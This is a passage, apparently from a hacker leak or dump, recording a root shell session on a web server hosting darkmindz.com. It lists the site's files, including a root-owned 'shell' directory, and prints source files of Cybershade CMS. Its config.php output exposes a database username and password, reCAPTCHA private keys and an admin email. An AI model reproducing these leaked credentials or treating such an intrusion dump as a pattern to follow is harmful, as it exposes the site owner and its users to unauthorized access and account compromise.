-rwxr-xr-x 1 romeo romeo 515 May 7 2007 404.shtml 14225 -rwxr-xr-x 1 romeo romeo 515 May 7 2007 500.shtml 14226 -rw-r--r-- 1 romeo romeo 5254 Feb 14 06:12 acp.php 14227 -rw-r--r-- 1 romeo romeo 9757 Feb 14 06:12 ajax.php 14228 -rw-r--r-- 1 romeo romeo 2118 Feb 14 06:12 articles.php 14229 drwxr-xr-x 2 romeo romeo 4096 Mar 4 11:11 _beta 14230 drwxrwxrwx 5 romeo romeo 4096 Mar 26 15:55 cache 14231 drwxr-xr-x 2 romeo romeo 4096 Dec 22 09:57 cgi-bin 14232 -rw-r--r-- 1 romeo romeo 5561 Feb 14 06:12 challenges.php 14233 -rw-r--r-- 1 romeo romeo 2137 Feb 2 08:43 codebase.php 14234 -rw-r--r-- 1 romeo romeo 17251 Jan 13 07:21 convertor.php 14235 drwxr-xr-x 6 romeo romeo 4096 Feb 7 13:38 core 14236 -rw-r--r-- 1 romeo romeo 0 Jan 13 07:21 debug 14237 -rw-r--r-- 1 romeo romeo 3266 Dec 22 22:59 eg.gif 14238 -rw-r--r-- 1 romeo romeo 5036 Feb 27 17:58 forgotpass.php 14239 -rw-r--r-- 1 romeo romeo 7107 Mar 1 11:30 forum.php 14240 -rw-r--r-- 1 romeo romeo 2177 Jan 13 07:21 get_shouts.php 14241 -rw-r--r-- 1 romeo romeo 1416102 Feb 17 14:24 halo.zip 14242 -rw-r--r-- 1 romeo romeo 4546 Feb 19 14:07 .htaccess 14243 -rw-r--r-- 1 romeo romeo 36 Jan 13 06:52 .htpasswd 14244 drwxr-xr-x 4 romeo romeo 4096 Feb 8 20:35 images 14245 drwxr-xr-x 2 romeo romeo 4096 Dec 22 22:20 img 14246 -rw-r--r-- 1 romeo romeo 3998 Apr 19 16:40 index.php 14247 -rw-r--r-- 1 romeo romeo 843 Feb 28 15:13 irc.php 14248 drwxr-xr-x 3 romeo romeo 4096 Feb 7 13:38 language 14249 -rw-r--r-- 1 romeo romeo 4103 Feb 19 14:05 latest_posts.php 14250 -rwxrwxrwx 1 romeo romeo 7184 Feb 14 06:12 loader.php 14251 -rw-r--r-- 1 romeo romeo 8398 Feb 14 06:12 login.php 14252 -rwxr-xr-x 1 romeo romeo 13954 Sep 15 2006 logo.jpg 14253 -rw-r--r-- 1 romeo romeo 3006 Feb 1 21:44 merge.php 14254 drwxr-xr-x 20 romeo romeo 4096 Feb 12 13:44 modules 14255 -rw-r--r-- 1 romeo romeo 10964 Feb 14 12:40 pastebin.php 14256 -rw-r--r-- 1 romeo romeo 31019 Feb 14 06:12 post.bak.php 14257 -rw-r--r-- 1 romeo romeo 35322 Feb 21 08:56 post.php 14258 -rw-r--r-- 1 romeo romeo 2142 Feb 14 06:12 privatemessages.php 14259 -rw-r--r-- 1 romeo romeo 9747 Feb 22 13:10 register.php 14260 -rw-r--r-- 1 romeo romeo 7919 Mar 16 20:00 rss.php 14261 drwxr-xr-x 2 romeo romeo 4096 Feb 7 13:38 scripts 14262 -rw-r--r-- 1 romeo romeo 1065 Feb 14 06:12 search.php 14263 -rw-r--r-- 1 romeo romeo 1838 Feb 14 06:12 settings.php 14264 drwxr-xr-x 2 root root 4096 May 20 14:30 shell 14265 -rw-r--r-- 1 romeo romeo 46488756 May 23 04:08 stress_test.txt 14266 -rw-r--r-- 1 romeo romeo 994 Jan 13 07:22 swiigle_upload.php 14267 drwxr-xr-x 5 romeo romeo 4096 Feb 7 13:38 template 14268 -rw-r--r-- 1 romeo romeo 454 Jan 13 07:22 template.php 14269 drwxr-xr-x 2 romeo romeo 4096 Feb 16 21:05 templates 14270 -rw-r--r-- 1 romeo romeo 610 Feb 18 08:17 test.php 14271 drwxr-xr-x 2 romeo romeo 4096 Feb 7 13:38 txt docs 14272 -rw-r--r-- 1 romeo romeo 2708 Feb 14 06:12 ucp.php 14273 -rw-r--r-- 1 romeo romeo 7789 Feb 14 06:12 view_group.bak.php 14274 -rw-r--r-- 1 romeo romeo 8556 Mar 1 11:30 view_group.php 14275 -rw-r--r-- 1 romeo romeo 876 Feb 14 06:12 view_profile.php 14276 -rw-r--r-- 1 romeo romeo 12677 Feb 14 13:16 view_topic.bak.php 14277 -rw-r--r-- 1 romeo romeo 12871 Mar 1 11:30 view_topic.php 14278 -rw-r--r-- 1 romeo romeo 9571 Feb 14 06:12 windowed_options.php 14279 root@server2:/home/romeo/domains/darkmindz.com/public_html[root@server2 14280 public_html]# less ucp.php 14281 <?php 14282 /*======================================================================*\ 14283 | Cybershade CMS - Your CMS, Your Way | 14284 \*======================================================================*/ 14285 define('INDEX_CHECK', 1); 14286 define('CMS_DEBUG', 0); 14287 define('CMS_MENU', 'ucp'); 14288 $cms_root = ''; 14289 $page_name = 'Profile'; 14290 include $cms_root."core/core.php"; 14291 if (!$_user->is_online){redirect("/".root()."index.php");} 14292 14293 $mode = isset($_GET['settings']) ? secureit($_GET['settings']) : 'default'; 14294 $auid = (int)isset($_GET['uid']) ? $_GET['uid'] : ''; 14295 $switch = isset($_GET['action']) ? $_GET['action'] : ''; 14296 14297 $uid = $config['global']['user']['id']; 14298 if((int)isset($_GET['uid']) && 14299 $_user->check_permissions($config['global']['user 14300 ']['id'], ($mode!='avatar' ? GMOD : MOD)) ){ 14301 $uid = (int)$_GET['uid']; 14302 }else{ 14303 $uid = $config['global']['user']['id']; 14304 ucp.php root@server2:/home/romeo/domains/darkmindz.com/public_html[root@server2 14305 public_html]# cd core 14306 root@server2:/home/romeo/domains/darkmindz.com/public_html/core[root@server2 14307 core]# ls -al 14308 total 164 14309 drwxr-xr-x 6 romeo romeo 4096 Feb 7 13:38 . 14310 drwxr-xr-x 15 romeo romeo 4096 May 20 14:30 .. 14311 -rw-r--r-- 1 romeo romeo 731 Jan 13 07:34 admin.js 14312 -rw-r--r-- 1 romeo romeo 27395 Feb 18 09:08 base_functions.php 14313 -rw-r--r-- 1 romeo romeo 9098 Feb 21 10:50 bbcode_tags.php 14314 -rw-r--r-- 1 romeo romeo 2816 Feb 1 08:55 cacher.php 14315 drwxr-xr-x 4 romeo romeo 4096 Feb 10 13:29 classes 14316 -rw-r--r-- 1 romeo romeo 1436 Feb 2 08:33 cli.php 14317 -rw-r--r-- 1 romeo romeo 2848 Feb 8 08:46 config.php 14318 -rw-r--r-- 1 romeo romeo 23810 Apr 19 16:45 core.php 14319 -rw-r--r-- 1 romeo romeo 4518 Feb 1 08:55 cron.php 14320 drwxr-xr-x 2 romeo romeo 4096 Feb 7 13:38 err 14321 -rw-r--r-- 1 romeo romeo 236 Feb 2 08:33 force_user.php 14322 drwxr-xr-x 2 romeo romeo 4096 Feb 7 13:38 functions 14323 -rw-r--r-- 1 romeo romeo 1181 Feb 2 08:33 key.php 14324 -rw-r--r-- 1 romeo romeo 6903 Feb 2 08:33 mailer.php 14325 drwxr-xr-x 6 romeo romeo 4096 Feb 7 13:38 mint 14326 -rw-r--r-- 1 romeo romeo 3054 Feb 14 06:17 page_footer.php 14327 -rw-r--r-- 1 romeo romeo 5935 Feb 14 06:17 page_header.php 14328 -rw-r--r-- 1 romeo romeo 9762 Feb 2 08:33 recaptchalib.php 14329 -rw-r--r-- 1 romeo romeo 6658 Apr 26 07:51 security.php 14330 -rw-r--r-- 1 romeo romeo 2021 Feb 2 08:33 usertracker.php 14331 root@server2:/home/romeo/domains/darkmindz.com/public_html/core[root@server2 14332 core]# cat config.php 14333 <?php 14334 //Cybershade.Org 14335 14336 //Database Stuff 14337 $config['db']['host'] = 'localhost'; 14338 $config['db']['username'] = 'romeo_romeo'; 14339 $config['db']['password'] = 'swU55ath'; 14340 $config['db']['database'] = 'romeo_DMZ_CS'; 14341 $config['db']['prefix'] = 'dmz_'; 14342 $config['db']['shrfix'] = 'shr_'; //the prefix 14343 for the shared tables 14344 $config['db']['ckefix'] = 'CMS_'; //the cookie prefix 14345 $config['db']['ckeauth'] = '0.7.0'; //the cookie auth key //this 14346 is also a good way to invalidate the autologins on cms update 14347 $config['site']['working_dir'] = ''; 14348 14349 //config vars for if we loose the DB 14350 $config['cms']['name'] = 'DarkMindZ'; 14351 $config['cms']['version'] = '_DDoS'; 14352 $config['cms']['debug'] = "0"; 14353 $config['site']['title'] = 'CyberShade CMS'; 14354 $config['site']['theme'] = 'cs'; 14355 $config['site']['language'] = 'en'; 14356 $config['site']['keywords'] = ''; 14357 $config['site']['description'] = ''; 14358 $config['site']['max_login_tries'] = "5"; 14359 $config['site']['time'] = 'jS F h:ia'; 14360 $config['site']['template_override'] = "1"; 14361 $config['site']['auto_login'] = "1"; 14362 $config['site']['ips_max_before_ban'] = "5"; 14363 14364 $config['site']['hourly_time'] = 3600; //1 Hour 14365 $config['site']['daily_time'] = (3600*24); //1 Day 14366 $config['site']['weekly_time'] = (3600*24*7); //1 Week 14367 14368 $config['site']['default_module'] = 'core'; 14369 $config['site']['closed'] = "0"; 14370 $config['site']['admin_email'] = 'romeo.haxxor@gmail.com'; 14371 $config['site']['usernamechange'] = "0"; 14372 $config['site']['fc_update'] = "1220620615"; 14373 $config['site']['paginate'] = "8"; 14374 $config['site']['news_cat'] = "2"; 14375 $config['site']['captcha_pub'] = 14376 '6Lf-qAQAAAAAANqWAU4YSnkwdy0M2mClwO3IOhTe'; 14377 $config['site']['captcha_priv'] = 14378 '6Lf-qAQAAAAAAOLgdFyr4dAhaDnnx2Nic0Wlpf6Q '; 14379 $config['site']['announcement'] = 'No Current Announcements, This may 14380 be because the Database has gone down.'; 14381 $config['rss']['global_limit'] = "15"; 14382 $config['site']['max_whitelist'] = "5"; 14383 $config['movemod']['move_enabled'] = "0"; 14384 $config['site']['quick_replys'] = "0"; 14385 $config['site']['users_online'] = "0"; 14386 $config['site']['guests_online'] = "0"; 14387 14388 //Statistics shit fort the same reason (Only used when the DB is inactive, 14389 setting it to time() + 9999999 means the cron will never be run) 14390 $config['statistics']['hourly_cron'] = "9999999999999"; 14391 $config['statistics']['daily_cron'] = "9999999999999"; 14392 $config['statistics']['weekly_cron'] = "9999999999999"; 14393 $config['statistics']['total_members'] = 'N/A, (DDoS)'; 14394 $config['statistics']['last_user_user'] = 'N/A, (DDoS)'; 14395 $config['statistics']['last_user_id'] = 'N/A, (DDoS)'; 14396 root@server2:/home/romeo/domains/darkmindz.com/public_html/core[root@server2 14397 core]# cat core.php 14398 <?php 14399 /*======================================================================*\ 14400 | Cybershade CMS - Your CMS, Your Way. | 14401 \*======================================================================*/ 14402 if(!defined('INDEX_CHECK')){die("INDEX_CHECK not defined.");} 14403 14404 error_reporting ($_SERVER['HTTP_HOST']=='localhost' ?(E_ALL) : (0)); 14405 define('SMODE', ($_SERVER['HTTP_HOST']=='localhost' ? 0 : 1)); 14406 //this is to start the generation timer off 14407 $gen_time = microtime(); 14408 14409 //Include the session stuff 14410 if(!SMODE) require($cms_root."core/classes/class.session.php"); 14411 if(SMODE) require($cms_root."core/classes/classes.php"); 14412 $_sess = new session; 14413 14414 //Set the headers 14415 header("Cache-control: private"); 14416 header("Content-Type: text/html; charset=utf-8"); 14417 //ob_start("ob_gzhandler"); 14418 14419 ///////////////////////////////////////////////////////////////////////////// 14420 //--Include the core CMS files needed -------------------------------------// 14421 ///////////////////////////////////////////////////////////////////////////// 14422 14423 //The config files 14424 require($cms_root."core/config.php"); 14425 14426 /*this is the ultimate cache-er xD, k so basically u got 14427 * the var below which "allows" the static cacher through 14428 */ 14429 14430 #$allow = true; 14431 14432 //this little switch decided what should be auto cache'd 14433 /*switch(CMS_MENU){ 14434 case 'forum': $allow = false; break; 14435 case 'admin': $allow = false; break; 14436 case 'ucp': $allow = false; break; 14437 case 'login': $allow = false; break; 14438 case 'main': $allow = false; break; 14439 case 'pm': $allow = false; break; 14440 default: $allow = true; break; 14441 } 14442 14443 if($allow){ 14444 // Get the modification date of this PHP file 14445 $timestamps = array(@getlastmod()); 14446 14447 // The latest of these modification dates is our real Last-Modified date 14448 $timestamp = max($timestamps); 14449 14450 // Note that this is not a RFC 822 date (the tz is always GMT) 14451 $tsstring = gmdate("D, d M Y H:i:s ", $timestamp) . "GMT"; 14452 14453 // Check if the client has the same page cached 14454 if (isset($_SERVER["HTTP_IF_MODIFIED_SINCE"]) && 14455 ($_SERVER["HTTP_IF_MODIFIED_SINCE"] == $tsstring)) { 14456 header("HTTP/1.1 304 Not Modified"); 14457 exit(); 14458 } 14459 // Inform the user what is our last modification date 14460 else { 14461 header("Last-Modified: " . $tsstring); 14462 } 14463 }*/ 14464 14465 //The class files 14466 require($cms_root."core/classes/class.sql.php"); 14467 if(!SMODE)require($cms_root."core/classes/class.login.php"); 14468 if(!SMODE)require($cms_root."core/classes/class.user.php"); 14469 if(!SMODE)require($cms_root."core/classes/class.form.php"); 14470 if(!SMODE)require($cms_root."core/classes/class.time.php"); 14471 require($cms_root."core/classes/class.nbbc.php"); 14472 require($cms_root."core/classes/class.tpl.php"); 14473 if(!SMODE)require($cms_root."core/classes/class.cache.php"); 14474 require($cms_root."core/classes/class.geshi.php"); 14475 14476 //The base functions 14477 require($cms_root."core/base_functions.php"); 14478 14479 ///////////////////////////////////////////////////////////////////////////// 14480 //--Sort out the cached config stuff---------------------------------------// 14481 ///////////////////////////////////////////////////////////////////////////// 14482 $config_db = array(); 14483 //check see if the config file exists, if not then just create a blank config 14484 variable 14485 if(file_exists($cms_root."cache/cache_config.php")){ include 14486 $cms_root."cache/cache_config.php"; } 14487 14488 //If the config_db is not null, cached.. then use it. 14489 if($config_db !== NULL){ 14490 foreach($config_db as $array){ 14491 $config[$array['array']][$array['var']] = $array['value']; 14492 } 14493 unset($array); 14494 } 14495 14496 if(isset($_GET['_site'])){ 14497 $a=(isset($_GET['_site']) ? $_GET['_site'] : 14498 (isset($_SESSION['site']['mode']) ? $_SESSION['site']['mode'] : 14499 $config['db']['prefix'])); 14500 switch($a){ 14501 case 'dmz': 14502 $_SESSION['site']['mode'] = 'dmz_'; 14503 break; 14504 case 'cs': 14505 $_SESSION['site']['mode'] = 'cs_'; 14506 break; 14507 default: 14508 } 14509 } 14510 if(isset($_SESSION['site']['mode'])) 14511 $config['db']['prefix'] = $_SESSION['site']['mode']; 14512 14513 ///////////////////////////////////////////////////////////////////////////// 14514 //--Define new instances of required classes-------------------------------// 14515 ///////////////////////////////////////////////////////////////////////////// 14516 //start the sql 14517 $_sql = new sql(true); 14518 $_sql->config = $config; 14519 if(!defined('CMS_DEBUG')){ define('CMS_DEBUG', $config['cms']['debug']); } 14520 if(!$_sql->connect(CMS_DEBUG)){ define('NO_DB', 1); } 14521 14522 14523 //Open the session stuff 14524 $_sess->sql = $_sql; 14525 $_sess->config = $config; 14526 14527 //start the form class 14528 $_form = new form; 14529 14530 //start the user class 14531 $_user = new user; 14532 $_user->config = $config; 14533 $_user->sql = $_sql; 14534 14535 14536 //start the login 14537 $_login = new login((isset($config['site']['autologin']) ? true : false)); 14538 $_login->config = $config; 14539 $_login->sql = $_sql; 14540 $_login->form = $_form; 14541 $_login->sess = $_sess; 14542 $_login->user = $_user; 14543 $_user->login = $_login; 14544 14545 //require($cms_root."core/key.php"); 14546 14547 //start the time class 14548 $_time = new time; 14549 $_time->config = $config; 14550 14551 //start the bbcode class 14552 $_bbcode = new bbcode; 14553 $_bbcode->SetDebug(true); 14554 $_bbcode->SetDetectURLs(false); 14555 $_bbcode->SetURLPattern('<a href="{$url/h}">{$text/h} <img 14556 src="/'.root().'images/external.gif" width="11" height="11" alt="External Link" 14557 /></a>'); 14558 $_bbcode->ClearSmileys(); 14559 $_bbcode->SetSmileyDir('/'.root().'images/smilies'); 14560 include($cms_root."core/bbcode_tags.php"); 14561 14562 $_bbcode->user = $_user; 14563 $_user->bbcode = $_bbcode; 14564 14565 //start the cache && template classes 14566 $_cache_path = $cms_root."cache/"; 14567 if (is_dir($_cache_path)){ @chmod($_cache_path, 0777); } 14568 $_cache_ = (is_writable($_cache_path) ? true : false); 14569 $_cache = new Cache($_sql, $_cache_path, $_cache_); 14570 $_cache->config = $config['db']; 14571 14572 //regenerate the site cache 14573 if($config!==NULL || !empty($config)){ 14574 $config_db = $_cache->generate_cache("config_db", "cache_config.php", 14575 "SELECT * FROM ".$config['db']['prefix']."config"); 14576 foreach($config_db as $array){ 14577 $config[$array['array']][$array['var']] = $array['value']; 14578 } 14579 unset($array,$config_db); 14580 } 14581 14582 //start the template class 14583 $_template = new template('.', $_cache_, $_cache_path."files/"); 14584 $_template->cms_root = $cms_root; 14585 $_template->user = $_user; 14586 14587 $_login->template = $_template; 14588 14589 //start the language class 14590 $_language = $config['site']['language']; 14591 if(isset($_SESSION['user']['language'])){ 14592 14593 if(file_exists($cms_root."language/".$_SESSION['user']['language']."/main.php") 14594 ){ 14595 $_language = $_SESSION['user']['language']; 14596 } 14597 } 14598 require($cms_root."language/".$_language."/main.php"); 14599 $_time->cur_lang = $_language; 14600 14601 //run the lang pass function on the language vars AFTER we included the base 14602 functions. 14603 foreach($_lang as $key => $value){ 14604 if(!is_array($_lang[$key])){ 14605 $_lang[$key] = lang_pass($_lang[$key]); 14606 } 14607 } 14608 14609 $_time->lang = $_lang; 14610 $_bbcode->lang = $_lang; 14611 $_login->lang = $_lang; 14612 //Include the security files.. recaptchalib maybe add into the login class 14613 require($cms_root."core/security.php"); 14614 14615 require($cms_root."core/classes/class.captcha.php"); 14616 $_captcha = new Captcha($config['site']['captcha_pub'], 14617 $config['site']['captcha_priv']); 14618 14619 $_cms_root = $cms_root; 14620 //Include the mailer 14621 require($cms_root."core/mailer.php"); 14622 $cms_root = $_cms_root; 14623 14624 ///////////////////////////////////////////////////////////////////////////// 14625 //--Continue with the configuration----------------------------------------// 14626 ///////////////////////////////////////////////////////////////////////////// 14627 define('ADMIN', 9); 14628 define('DEV', 8); 14629 define('GMOD', 7); 14630 define('MOD', 5); 14631 define('USER', 1); 14632 define('BANNED', 0); 14633 14634 //add some stuff to the config 14635 14636 //generate guest defaults 14637 $guest['user']['id'] = '0'; 14638 $guest['user']['username'] = 'Guest'; 14639 $guest['user']['theme'] = $config['site']['theme']; 14640 $guest['user']['userkey'] = isset($_SESSION['user']['userkey']) ? 14641 $_SESSION['user']['userkey'] : NULL; 14642 14643 //generate user stuff 14644 $config['global']['user'] = (isset($_SESSION['user']['id']) ? $_SESSION['user'] 14645 : $guest['user']); 14646 $config['global']['ip'] = getIP(); 14647 $config['global']['useragent'] = secureit(isset($_SERVER['HTTP_USER_AGENT']) ? 14648 $_SERVER['HTTP_USER_AGENT'] : NULL); 14649 $config['site']['guests_online'] = (isset($guests_online) && 14650 is_numeric($guests_online) ? $guests_online : 0); 14651 $config['site']['users_online'] = (isset($_users_online) && 14652 is_numeric($_users_online) ? $_users_online : 0); 14653 $_user->is_online = $_login->is_online = isset($_SESSION['user']['id']) ? true 14654 : false; 14655 14656 #if(!isset($_SESSION['user']['id'])){$_SESSION['user'] = $guest['user'];} 14657 14658 $tpl = $config['site']['theme']; 14659 if($config['site']['template_override']){ 14660 if(!is_dir($cms_root.'template/'.$tpl.'/')){$tpl = 'vone';} 14661 }else{ 14662 if(isset($config['global']['user']['template']) && 14663 is_dir($cms_root."template/".$config['global']['user']['template']."/")){ 14664 $tpl = $config['global']['user']['template']; 14665 } 14666 } 14667 $_template->config = $config; 14668 $_template->tpl = $tpl; 14669 14670 //None of these should be defined as vars as they can be over writtin.. They 14671 are defines 14672 $_module = (is_string(isset($_GET['module'])) ? $_GET['module'] : 14673 $config['site']['default_module']); 14674 $_user_temp = $cms_root."template/".$tpl."/"; 14675 $_module_temp = $cms_root."modules/".$_module."/template/"; 14676 14677 if(isset($_SESSION['login']) && isset($_SESSION['user']['id'])){ 14678 unset($_SESSION['login']); 14679 } 14680 14681 $_template->set_rootdir($cms_root); 14682 14683 define('IS_MOD', $_user->check_permissions($config['global']['user']['id'], 14684 MOD)); 14685 define('IS_GMOD', $_user->check_permissions($config['global']['user']['id'], 14686 GMOD)); 14687 define('IS_DEV', $_user->check_permissions($config['global']['user']['id'], 14688 DEV)); 14689 define('IS_ADMIN', $_user->check_permissions($config['global']['user']['id'], 14690 ADMIN)); 14691 14692 ///////////////////////////////////////////////////////////////////////////// 14693 //--Grab the neccesarry cache files----------------------------------------// 14694 ///////////////////////////////////////////////////////////////////////////// 14695 //this defines which of the cache files to include 14696 //require($cms_root.'core/cacher.php'); 14697 14698 14699 ///////////////////////////////////////////////////////////////////////////// 14700 14701 //--Cacher.php-------------------------------------------------------------// 14702 14703 ///////////////////////////////////////////////////////////////////////////// 14704 $cache_gen = array('statistics', 'menu', 'minimenu', 'groups', 'bans', 14705 'user_permissions', NULL);#'badwords', 'affiliates', 14706 $x=0; 14707 include($cms_root."cache/cache.php"); 14708 while($var = $cache_gen[$x]){ 14709 if($var != ''){ 14710 $gen = NULL; 14711 eval('$gen = $'.$var.'_db;'); 14712 14713 /*if(file_exists($cms_root.'cache/cache_'.$var.'.php')){ 14714 include($cms_root."cache/cache_".$var.".php"); 14715 eval('$gen = $'.$var.'_db;'); 14716 }*/ 14717 if ($gen !== NULL || !empty($gen)){ 14718 foreach($gen as $k => $v){ 14719 $config[$var][$k] = $v; 14720 } 14721 }else{ 14722 //regenerate the cache if not avalible 14723 switch($var){ 14724 case 'config': 14725 $config[$var] = $_cache->generate_cache("config_db", 14726 "cache_config.php", "SELECT * FROM ".$config['db']['prefix']."config", NNUM); 14727 break; 14728 case 'minimenu': 14729 $config[$var] = $_cache->generate_cache("minimenu_db", 14730 "cache_minimenu.php", "SELECT * FROM ".$config['db']['prefix']."mmenus ORDER BY 14731 disporder ASC"); 14732 break; 14733 14734 case 'menu': 14735 $config[$var] = $_cache->generate_cache("menu_db", 14736 "cache_menu.php", "SELECT * FROM ".$config['db']['prefix']."menus ORDER BY id 14737 ASC", NNUM); 14738 : 14739 break; 14740 14741 case 'statistics': 14742 $config[$var] = $_cache->generate_statistics_cache(); 14743 break; 14744 14745 case 'groups': 14746 $config[$var] = $_cache->generate_cache("groups_db", 14747 "cache_groups.php", "SELECT * FROM ".$config['db']['prefix']."groups ORDER BY 14748 rank DESC"); 14749 break; 14750 case 'bans': 14751 $config[$var] = $_cache->generate_cache("bans_db", 14752 "cache_bans.php", "SELECT * FROM ".$config['db']['shrfix']."banned"); 14753 break; 14754 //case 'affiliates': 14755 // $config[$var] = 14756 $_cache->generate_cache("affiliates_db", "cache_affiliates.php", "SELECT * FROM 14757 ".$config['db']['prefix']."affiliates"); 14758 //break; 14759 //case 'module_permissions': 14760 // $config[$var] = 14761 $_cache->generate_cache("module_permissions_db", 14762 "cache_module_permissions.php", "SELECT * FROM 14763 ".$config['db']['prefix']."module_permissions"); 14764 //break; 14765 case 'user_permissions': 14766 $config[$var] = $_cache->generate_upermissions_cache(); 14767 14768 break; 14769 } 14770 14771 } 14772 } 14773 $x++; 14774 } 14775 14776 ///////////////////////////////////////////////////////////////////////////// 14777 14778 //--Cacher.php-------------------------------------------------------------// 14779 14780 ///////////////////////////////////////////////////////////////////////////// 14781 14782 14783 $_user->groups = $config['groups']; 14784 //$_user->module_permissions = $config['module_permissions']; 14785 $_user->permissions = $config['user_permissions']; 14786 14787 ///////////////////////////////////////////////////////////////////////////// 14788 //--Cron - This will sort the majority of the cache and--------------------// 14789 //---------db problems out for us------------------------------------------// 14790 ///////////////////////////////////////////////////////////////////////////// 14791 14792 //include($cms_root.'core/cron.php'); 14793 14794 14795 ///////////////////////////////////////////////////////////////////////////// 14796 14797 //--Cron.php---------------------------------------------------------------// 14798 14799 ///////////////////////////////////////////////////////////////////////////// 14800 14801 if(!defined('NO_DB')){ 14802 $hourly_cron = FALSE; 14803 if(isset($config['site']['hourly_time'])){ 14804 if($config['global']['useragent'] == "Cybershade_CRON_Updater"){ 14805 $_sql->updateRow("statistics", array('value' => time()), 14806 "variable = 'hourly_cron'"); 14807 $hourly_cron = TRUE; 14808 } else { 14809 if($config['site']['hourly_time'] == 0){ 14810 $hourly_cron = TRUE; 14811 }else{ 14812 if((time() - $config['site']['hourly_time']) > 14813 $config['statistics']['hourly_cron']){ 14814 $_sql->updateRow("statistics", array('value' => 14815 time()), "variable = 'hourly_cron'"); 14816 $hourly_cron = TRUE; 14817 } 14818 : 14819 } 14820 } 14821 } 14822 14823 $daily_cron = FALSE; 14824 if(isset($config['site']['daily_time'])){ 14825 if($config['global']['useragent'] == "Cybershade_CRON_Updater"){ 14826 $_sql->updateRow("statistics", array('value' => time()), 14827 "variable = 'daily_cron'"); 14828 $daily_cron = TRUE; 14829 } else { 14830 if($config['site']['daily_time'] == 0){ 14831 $daily_cron = TRUE; 14832 }else{ 14833 if((time() - $config['site']['daily_time']) > 14834 $config['statistics']['daily_cron']){ 14835 $_sql->updateRow("statistics", array('value' => 14836 time()), "variable = 'daily_cron'"); 14837 $daily_cron = TRUE; 14838 } 14839 } 14840 } 14841 } 14842 14843 $weekly_cron = FALSE; 14844 if(isset($config['site']['weekly_time'])){ 14845 if($config['global']['useragent'] == "Cybershade_CRON_Updater"){ 14846 $_sql->updateRow("statistics", array('value' => time()), 14847 "variable = 'weekly_cron'"); 14848 $weekly_cron = TRUE; 14849 } else { 14850 if($config['site']['weekly_time'] == 0){ 14851 $weekly_cron = TRUE; 14852 }else{ 14853 if((time() - $config['site']['weekly_time']) > 14854 $config['statistics']['weekly_cron']){ 14855 $_sql->updateRow("statistics", array('value' => 14856 time()), "variable = 'weekly_cron'"); 14857 $weekly_cron = TRUE; 14858 } 14859 } 14860 } 14861 } 14862 } 14863 14864 $stat_cache = false; 14865 if(!defined('NO_DB')){ 14866 if($hourly_cron){ 14867 $_sql->record_message('Hourly CRON is running'); 14868 //delete users from sql that are inactive and set users offline 14869 that are inactive too 14870 $_sql->query("UPDATE shr_users 14871 SET timestamp = ( SELECT cs_online.timestamp FROM cs_online WHERE 14872 cs_online.uid = shr_users.id) 14873 WHERE EXISTS 14874 ( SELECT cs_online.timestamp FROM cs_online WHERE cs_online.uid = 14875 shr_users.id)"); 14876 $_sql->deleteRow('online', "login_time < 14877 ".$_time->mod_time(time(), 0, 20, 0, 'TAKE')." AND timestamp < 14878 ".$_time->mod_time(time(), 0, 20, 0, 'TAKE')); 14879 $_sql->query('DELETE FROM `shr_banned` WHERE `user_ip` LIKE 14880 "66.249%"'); 14881 $_cache->generate_statistics_cache(); 14882 $stat_cache = true; 14883 14884 } 14885 14886 if($daily_cron){ 14887 $_sql->record_message('Daily CRON is running'); 14888 //update caches 14889 if(!$stat_cache){ 14890 $_cache->generate_statistics_cache(); 14891 $stat_cache = true; 14892 : 14893 } 14894 14895 if($config['forum']['auto_lock']){ 14896 //Auto Lock Thread Timer 14897 $ex = $_time->mk_time(time()-$config['forum']['auto_lock_cron'], 14898 '', 1); 14899 $_sql->updateRow('forum_topics', array('locked'=>1), "last_poster 14900 <= $ex", 1); 14901 } 14902 14903 $_sql->query("DELETE FROM ".$config['db']['shrfix']."pastebin WHERE 14904 expire < ".time().""); 14905 14906 $_cache->generate_upermissions_cache(); 14907 $_cache->generate_cache("minimenu_db", "cache_minimenu.php", "SELECT * 14908 FROM ".$config['db']['prefix']."mmenus ORDER BY disporder ASC"); 14909 $_cache->generate_cache("menu_db", "cache_menu.php", "SELECT * 14910 FROM ".$config['db']['prefix']."menus ORDER BY id ASC", NNUM); 14911 //$_cache->generate_cache("module_permissions_db", 14912 "cache_module_permissions.php", "SELECT * FROM 14913 ".$config['db']['prefix']."module_permissions"); 14914 14915 } 14916 14917 if($weekly_cron){ 14918 $_sql->record_message('Weekly CRON is running'); 14919 if(!$stat_cache){ 14920 $_cache->generate_statistics_cache(); 14921 $stat_cache = true; 14922 } 14923 14924 $_cache->generate_cache("config_db", "cache_config.php", "SELECT * FROM 14925 ".$config['db']['prefix']."config"); 14926 $_cache->generate_cache("groups_db", "cache_groups.php", "SELECT * 14927 FROM ".$config['db']['prefix']."groups ORDER BY rank DESC"); 14928 14929 //Optimise all of the tables in the DB 14930 $alltables = $_sql->getTable("SHOW TABLES"); 14931 $tables = ''; 14932 $counter = count($alltables); 14933 $x = 0; 14934 $add = ", "; 14935 foreach($alltables as $table){ 14936 foreach ($table as $tablename){ 14937 if($x == ($counter-1)){ 14938 $add = ''; 14939 } 14940 $tables .= "`$tablename`$add"; 14941 $x++; 14942 } 14943 } 14944 $_sql->query("OPTIMIZE TABLE $tables"); 14945 $_sql->updateRow("statistics", array('value' => time()), "variable 14946 = 'weekly_time'", FALSE); 14947 } 14948 14949 if($weekly_cron || $daily_cron || $hourly_cron){ 14950 define('FILE_MERGE', 1); 14951 include($cms_root.'merge.php'); 14952 } 14953 } 14954 14955 ///////////////////////////////////////////////////////////////////////////// 14956 14957 //--Cron.php---------------------------------------------------------------// 14958 14959 ///////////////////////////////////////////////////////////////////////////// 14960 14961 ///////////////////////////////////////////////////////////////////////////// 14962 //--Check weather the site is closed---------------------------------------// 14963 ///////////////////////////////////////////////////////////////////////////// 14964 if (($config['site']['closed'] == 1) && (!defined("CMS_CLOSED"))){ 14965 if (!$_user->check_permissions($config['global']['user']['id'], 14966 ADMIN)){ 14967 die(die_error(4)); 14968 : 14969 } 14970 } 14971 14972 ///////////////////////////////////////////////////////////////////////////// 14973 //--Check weather a user is banned-----------------------------------------// 14974 ///////////////////////////////////////////////////////////////////////////// 14975 /** 14976 if ($config['bans'] != NULL){ 14977 foreach ($config['bans'] as $bans){ 14978 if ($bans['user_ip'] == $config['global']['ip']){ 14979 die(die_error($bans['die'])); 14980 } 14981 } 14982 } 14983 **/ 14984 14985 ///////////////////////////////////////////////////////////////////////////// 14986 //--Sort out the guests & users online stuff-------------------------------// 14987 ///////////////////////////////////////////////////////////////////////////// 14988 14989 //include($cms_root.'core/usertracker.php'); 14990 14991 14992 